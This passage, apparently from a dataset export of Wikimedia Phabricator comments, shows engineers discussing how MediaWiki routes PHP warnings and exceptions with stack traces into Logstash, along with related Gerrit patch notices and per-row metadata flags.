+ * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
+ * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
+ * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
+ * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
+* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
+ * `exception`: Enabled (to mwlog and to logstash)
+ * `exception-json`: Disabled (to mwlog only)
+ * `error`: Enabled (to mwlog and to logstash)
+ * `error-json`: Disabled
+* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
+ * Augments `channel=exception`
+ * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
+* logstash.wikimedia.org receives:
+ * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
+ * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
+ * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.
+
+Known issues or remaining tasks:
+* **Nothing?** {icon check color=green} **Resolved**?
+
+Clean up or optimisation:
+* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
+* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
+* [ ] Fix de-duplication and message counting possible by ensuring `normalized_message` does not include the exception_id. – Pending review: https://gerrit.wikimedia.org/r/374895",,,1504129247,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,217,,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+921750,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:
+
+* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
+ * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
+ * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
+ * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
+ * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
+* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
+ * `exception`: Enabled (to mwlog and to logstash)
+ * `exception-json`: Disabled (to mwlog only)
+ * `error`: Enabled (to mwlog and to logstash)
+ * `error-json`: Disabled
+* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
+ * Augments `channel=exception`
+ * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
+* logstash.wikimedia.org receives:
+ * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
+ * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
+ * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.
+
+Known issues or remaining tasks:
+* **Nothing?** {icon check color=green} **Resolved**?
+
+Clean up or optimisation:
+* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
+* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
+* [ ] Fix de-duplication and message counting possible by ensuring `normalized_message` does not include the exception_id.",,,1504128813,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,217,,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+921746,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:
+
+* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
+ * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
+ * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
+ * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
+ * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
+* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
+ * `exception`: Enabled (to mwlog and to logstash)
+ * `exception-json`: Disabled (to mwlog only)
+ * `error`: Enabled (to mwlog and to logstash)
+ * `error-json`: Disabled
+* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
+ * Augments `channel=exception`
+ * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
+* logstash.wikimedia.org receives:
+ * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
+ * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
+ * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.
+
+Known issues or remaining tasks:
+* **Nothing?** {icon check color=green} **Resolved**?
+
+Clean up or optimisation:
+* [ ] Avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
+* [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`",,,1504128659,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,217,,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+813789,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Since 9eafbebdd882a562171fd0e46dcd5a9ec1e55cf8 has been deployed, some new error logs are surfacing \O/  An example is {T158770}  :-}
+",,,1487774255,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0
+813541,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"The `error` channel (with severity=ERROR or maybe WARNING) should be added added to fatalmonitor on logstash, I suppose?",,,1487734726,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+813504,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,[[https://logstash.wikimedia.org/app/kibana#/doc/logstash-*/logstash-2017.02.22/mediawiki/?id=AVpjaHVDlL3ktRIGM6p7|Example error]]. See T136849#3045285 for comments on the format. (Except `exception.trace` seems different here. Or just has random errors in different ways than for other exceptions.),,,1487726805,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+812743,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338820 merged by jenkins-bot:
+Route PHP warnings from the handler into udp2log
+
+[[https://gerrit.wikimedia.org/r/338820]]",,,1487639339,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+812739,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338911 had a related patch set uploaded (by Gergő Tisza):
+Make it possible to not propagate errors to PHP
+
+[[https://gerrit.wikimedia.org/r/338911]]
+",,,1487638133,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+812728,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338901 had a related patch set uploaded (by Gergő Tisza):
+Do not mix suppressed errors with non-suppressed ones
+
+[[https://gerrit.wikimedia.org/r/338901]]
+",,,1487633673,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+812725,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338821 merged by jenkins-bot:
+MWExceptionHandler::handleError: Set log severity based on error level
+
+[[https://gerrit.wikimedia.org/r/338821]]",,,1487632148,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+812694,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041561, @Tgr wrote:
+> The point is that the handler should not return false on errors which PHP would only log but not abort on, so that warnings don't get duplicated.
+
+Ok, I'm finally getting what you are working towards. Thanks for sticking with me. :) It would need some config flag as you mentioned in T45086#3041550 since the default behavior of the logging system is discard everything.",,,1487620029,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,1,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,1
+812693,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041550, @Tgr wrote:
+>>>! In T45086#3041541, @bd808 wrote:
+>> By not returning false and instead handling everything internally in the custom handler, the handler itself becomes responsible for deciding when to abort the request.
+> 
+> Yes, and it's a trivial decision (assuming we want to replicate the existing behavior): just abort on `*_ERROR`, unless PHP error reporting is turned off. So would there be any disadvantage to doing that? We could abort via exceptions which is more useful (HHVM can log the trace when the script aborts with an error but normal PHP can't), plus generally have better logging, at the cost of higher log volume / manual setup needed. It should probably be configurable and off by default but for WMF servers (and anyone else who cares enough about error logging to fine-tune it) it seems like a win.
+
+If the handler returns false then $php_errormsg is not set (based on code inspection). Grep shows it being used by PEAR Net/Socket, it calls @ini_set('track_errors', 1).",,,1487619640,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+812691,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041557, @bd808 wrote:
+> How is raising an unhandled exception functionally different than passing control back to the default error handler? Is this an attempt to get more data into the PHP runtime's error log or less? I'm confused about the goal here.
+
+The point is that the handler should not return false on errors which PHP would only log but not abort on, so that warnings don't get duplicated. For errors which need the script to abort, IMO just push them to the exception channel (ie. don't log in the error handler but throw an exception) because that behaves nicer with non-log-based debugging (e.g. the developer would see a stack trace instead of just an error message, the user would see an exception hash that they can report). But logging and returning false, or just `die`ing, are also viable alternatives, the primary issue is log duplication for non-fatals.",,,1487619367,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+812689,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041550, @Tgr wrote:
+>>>! In T45086#3041541, @bd808 wrote:
+>> By not returning false and instead handling everything internally in the custom handler, the handler itself becomes responsible for deciding when to abort the request.
+> 
+> Yes, and it's a trivial decision (assuming we want to replicate the existing behavior): just abort on `*_ERROR`, unless PHP error reporting is turned off. So would there be any disadvantage to doing that? We could abort via exceptions which is more useful (HHVM can log the trace when the script aborts with an error but normal PHP can't), plus generally have better logging, at the cost of higher log volume / manual setup needed. It should probably be configurable and off by default but for WMF servers (and anyone else who cares enough about error logging to fine-tune it) it seems like a win.
+
+How is raising an unhandled exception functionally different than passing control back to the default error handler? Is this an attempt to get more data into the PHP runtime's error log or less? I'm confused about the goal here.",,,1487618837,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+812686,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041541, @bd808 wrote:
+> By not returning false and instead handling everything internally in the custom handler, the handler itself becomes responsible for deciding when to abort the request.
+
+Yes, and it's a trivial decision (assuming we want to replicate the existing behavior): just abort on `*_ERROR`, unless PHP error reporting is turned off. So would there be any disadvantage to doing that? We could abort via exceptions which is more useful (HHVM can log the trace when the script aborts with an error but normal PHP can't), plus generally have better logging, at the cost of higher log volume / manual setup needed. It should probably be configurable and off by default but for WMF servers (and anyone else who cares enough about error logging to fine-tune it) it seems like a win.",,,1487618437,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+812682,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338821 had a related patch set uploaded (by BryanDavis):
+MWExceptionHandler::handleError: Set log severity based on error level
+
+[[https://gerrit.wikimedia.org/r/338821]]
+",,,1487618087,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+812681,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041483, @bd808 wrote:
+> One way to provide granularity without creating N log channels would be to actually use the PSR3 log level in the generated log events:
+
+I would still put suppressed logs into their own channel because the way we seem to be using suppression is usually to prevent the program from being stopped and not so much to suppress logging, so having severity information for suppressed events seems useful. I agree about the rest (I actually wrote the patch yesterday but apparently forgot to submit it).",,,1487617990,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1
+812679,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Is someone actually saying the log volume is too high? It looks to me like it's blocked on nobody giving a crap since 2015. Suppressed errors were removed from the stream in https://gerrit.wikimedia.org/r/#/c/177096/,,,1487617790,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,1,1,1,0,0,0
+812678,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041502, @Tgr wrote:
+>>>! In T158270#3041160, @bd808 wrote:
+>> We [return false from the error handler] that because it's the correct way for a default `set_error_handler()` to function. If we swallowed the errors there without returning false then `$php_errormsg` would not be populated and all errors would be handled as though the `@` suppression operator was applied to every line in the codebase.
+> 
+> We don't seem to use `$php_errormsg` anymore, so as far as I can see all that would do is to switch error logginrg to Monolog instead of the PHP/HHVM log files. (Assuming we die / throw an exception for errors which would interrupt program execution when unhandled.) Isn't that a good thing? It seems counterproductive to have the same error in logstash both as a Monolog event with traces etc. and a mostly useless HHVM record. Or are we worried about Monolog being more fragile / less reliable than logfiles/syslog?
+
+I think you are confusing the log data that we collect in WMF production and how PHP/HHVM work. The error handler must either abort the execution of the request or not. By not returning false and instead handling everything internally in the custom handler, the handler itself becomes responsible for deciding when to abort the request. If the handler returns (i.e. doesn't abort the request somehow) then it is functionally the same as applying `@` suppression to all lines in all scripts.",,,1487617740,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1
+812675,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338820 had a related patch set uploaded (by Tim Starling):
+Route PHP warnings from the handler into logstash
+
+[[https://gerrit.wikimedia.org/r/338820]]
+",,,1487617563,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+812671,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T158270#3041160, @bd808 wrote:
+> We [return false from the error handler] that because it's the correct way for a default `set_error_handler()` to function. If we swallowed the errors there without returning false then `$php_errormsg` would not be populated and all errors would be handled as though the `@` suppression operator was applied to every line in the codebase.
+
+We don't seem to use `$php_errormsg` anymore, so as far as I can see all that would do is to switch error logginrg to Monolog instead of the PHP/HHVM log files. (Assuming we die / throw an exception for errors which would interrupt program execution when unhandled.) Isn't that a good thing? It seems counterproductive to have the same error in logstash both as a Monolog event with traces etc. and a mostly useless HHVM record. Or are we worried about Monolog being more fragile / less reliable than logfiles/syslog?",,,1487617325,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,1
+812669,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#3041403, @Tgr wrote:
+> What's the current state of this task? Is it blocked in the log volume being too high? There are a few things we could do about that:
+> * only log warnings (at least initially), not notices
+> * sample
+> * send suppressed errors to a separate channel which can be blackholed
+> * cut down the number of warnings/notices in production (a lot of that has been happening recently, so maybe it's worth doing another experiment and reassess the situation?)
+
+One way to provide granularity without creating N log channels would be to actually use the PSR3 log level in the generated log events:
+* suppressed -> debug
+* E_STRICT -> debug
+* E_NOTICE, E_USERNOTICE, E_DEPRECATED, E_USER_DEPRECATED -> info
+* E_WARNING, E_CORE_WARNING, E_COMPILE_WARNING, E_USER_WARNING -> warning
+* E_RECOVERABLE_ERROR -> error
+
+It would be a pretty simple patch to MWExceptionHandler to allow the caller of `MWExceptionHandler::logError()` to specify a severity level and then to adjust `MWExceptionHandler::handleError()` to set an appropriate level. The current implementation in `MWExceptionHandler::logError()` emits all events as severity `error`.",,,1487616845,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,190,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1
+812654,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"What's the current state of this task? Is it blocked in the log volume being too high? There are a few things we could do about that:
+* only log warnings (at least initially), not notices
+* sample
+* send suppressed errors to a separate channel which can be blackholed
+* cut down the number of warnings/notices in production (a lot of that has been happening recently, so maybe it's worth doing another experiment and reassess the situation?)",,,1487615460,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,190,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,0
+448275,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"@bd808 Thanks!
+
+Looks like we're not using `error-json` in Logstash yet. For PHP Notice and Warning events, Logstash uses the apache2/hvvm source still (which doesn't have stack traces). Currently blocked on T88732.",,,1429806541,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,94,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
+419699,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"@bd808 Thanks!
+
+Looks like we're not using `error-json` in Logstash yet. For PHP Notice and Warning events, Logstash uses the apache2/hvvm source still (which doesn't have stack traces).",,,1425357563,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
+416817,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"@bd808 Thanks!
+
+Looks like we're not using `error-json` in Logstash yet. For PHP Notice and Warning events, Logstash uses the apache2 error_log source still (which doesn't have stack traces).",,,1424825151,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,86,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
+398689,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 177096 merged by jenkins-bot:
+exception: Hide suppressed errors in 'error' log, flag in 'error-json'
+
+[[https://gerrit.wikimedia.org/r/177096]]",,,1421111660,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,80,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+395461,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 177095 merged by jenkins-bot:
+exception: Implement error-json log
+
